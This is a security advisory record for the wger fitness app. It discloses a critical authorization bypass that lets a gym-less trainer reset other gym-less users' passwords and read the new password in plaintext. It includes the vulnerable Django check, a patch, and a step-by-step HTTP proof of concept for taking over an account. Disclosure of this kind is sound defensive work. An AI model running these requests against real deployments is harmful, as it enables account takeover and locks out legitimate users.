{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.5"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "wger"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-43948"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T19:50:31Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nThe `reset_user_password` and `gym_permissions_user_edit` views in wger perform a gym-scope authorization check using Python object comparison (`!=`) that evaluates `None != None` as `False`, silently bypassing the guard when both the attacker and victim have no gym assignment (`gym=None`). A user with `gym.manage_gym` permission and `gym=None` can reset the password of **any other `gym=None` user**; the new plaintext password is returned verbatim in the HTML response body, enabling one-shot full account takeover. The victim\u0027s original password is invalidated, locking them out permanently.\n\n### Details\n\n**File**: `wger/gym/views/user.py`\n\nThe authorization guard in `reset_user_password` (and the parallel check in `gym_permissions_user_edit`) uses Django ORM object comparison:\n\n```python\n# VULNERABLE - wger/gym/views/user.py\nif request.user.userprofile.gym != user.userprofile.gym:\n    return HttpResponseForbidden()\n```\n\nWhen both `request.user.userprofile.gym` and `user.userprofile.gym` are `None` (representing users with no gym assignment - the default for newly registered users before gym linking), Python evaluates `None != None` as `False`. The guard therefore passes without raising `HttpResponseForbidden`, and execution continues unconditionally to:\n\n```python\npassword = password_generator()\nuser.set_password(password)\nuser.save()\nreturn render(request, \u0027user/trainer_login.html\u0027, {\u0027password\u0027: password, ...})\n```\n\nThe generated password is rendered verbatim in the response body.\n\n**Affected endpoints**:\n- `GET /en/gym/user/\u003cuser_pk\u003e/reset-user-password` -\u003e `wger.gym.views.user.reset_user_password`\n- `GET /en/gym/user/\u003cuser_pk\u003e/edit` -\u003e `wger.gym.views.user.gym_permissions_user_edit`\n\n**Suggested patch**:\n\n```diff\n--- a/wger/gym/views/user.py\n+++ b/wger/gym/views/user.py\n-    if request.user.userprofile.gym != user.userprofile.gym:\n-        return HttpResponseForbidden()\n+    trainer_gym_id = request.user.userprofile.gym_id   # raw FK int\n+    member_gym_id  = user.userprofile.gym_id\n+\n+    if trainer_gym_id is None or trainer_gym_id != member_gym_id:\n+        return HttpResponseForbidden()\n```\n\nThe `_id` suffix accesses the raw integer foreign key, bypassing Python\u0027s object identity semantics. The explicit `is None` guard rejects unaffiliated trainers immediately, regardless of the victim\u0027s gym status. Apply the same `same_gym()` helper pattern to all five views sharing this check: `reset_user_password`, `gym_permissions_user_edit`, `admin_notes_list`, `documents_list`, `contracts_list`.\n\n### PoC\n\nTested on `wger/server:latest` Docker image (runtime: Django 5.2.13). Two test users: `trainer1` (`gym.manage_gym` permission, `userprofile.gym=None`) and `alice` (regular user, `userprofile.gym=None`).\n\n**Step 1** - Authenticate as trainer with `manage_gym` permission and `gym=None`:\n\n```\nPOST /en/user/login HTTP/1.1\nHost: target\nContent-Type: application/x-www-form-urlencoded\n\nusername=trainer1\u0026password=[REDACTED]\u0026csrfmiddlewaretoken=[REDACTED]\n\n-\u003e 302 Found; Set-Cookie: sessionid=[trainer1_session]\n```\n\n**Step 2** - Trigger cross-tenant password reset:\n\n```\nGET /en/gym/user/2/reset-user-password HTTP/1.1\nHost: target\nCookie: sessionid=[trainer1_session]\n\n-\u003e 200 OK\n\u003ctr\u003e\u003cth\u003ePassword\u003c/th\u003e\u003ctd\u003e[GENERATED_PLAINTEXT_PASSWORD]\u003c/td\u003e\u003c/tr\u003e\n```\n\n**Step 3** - Authenticate as victim (alice) using leaked password:\n\n```\nPOST /en/user/login HTTP/1.1\nHost: target\n\nusername=alice\u0026password=[GENERATED_PLAINTEXT_PASSWORD]\u0026csrfmiddlewaretoken=[...]\n\n-\u003e 302 Found; authenticated as alice\n(alice\u0027s ORIGINAL password is now invalid - permanent lockout)\n```\n\n**RBAC Disproof Protocol** (three-scenario test):\n- Scenario A (admin, same-gym) -\u003e HTTP 200 (expected - documented feature)\n- Scenario B (trainer1 gym=None -\u003e alice gym=None) -\u003e **HTTP 200 with plaintext password in body** (expected HTTP 403)\n- Scenario C (trainer1 gym=1 -\u003e alice gym=2) -\u003e HTTP 403 (expected - guard works when gyms differ, confirms bypass is `None`-specific)\n\nReproducibility: 2/2 runs after clean-baseline database reset.\n\n### Impact\n\nAn attacker with `gym.manage_gym` permission and `gym=None` can:\n\n1. Reset the password of any other `gym=None` user on the wger instance.\n2. Receive the new plaintext password in the HTTP response body.\n3. Log in as the victim immediately.\n4. Permanently lock the victim out (original password invalidated).\n\n**Affected deployments**: every wger instance where `gym.manage_gym` permission is delegated to non-admin users AND any other users exist with `gym=None`. The `gym=None` state is the **default for newly registered users** before manual gym assignment, so every public-registration wger instance is affected.\n\n**Severity**: Critical (CVSS 9.9). Network-reachable, low complexity, requires only low privilege (delegated trainer), scope change (impersonation of other tenant), complete confidentiality/integrity/availability loss for all unaffiliated accounts.\n\nThis is the same structural bug class as the sibling finding affecting `trainer_login` (submitted separately). The root cause - Django ORM object-`!=` returning `False` when both sides are `None` - appears across five views and warrants a shared `same_gym()` helper.",
  "id": "GHSA-mhc8-p3jx-84mm",
  "modified": "2026-05-06T19:50:31Z",
  "published": "2026-05-06T19:50:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/wger-project/wger/security/advisories/GHSA-mhc8-p3jx-84mm"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/wger-project/wger"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "wger: cross-tenant password reset and plaintext disclosure via gym=None bypass"
}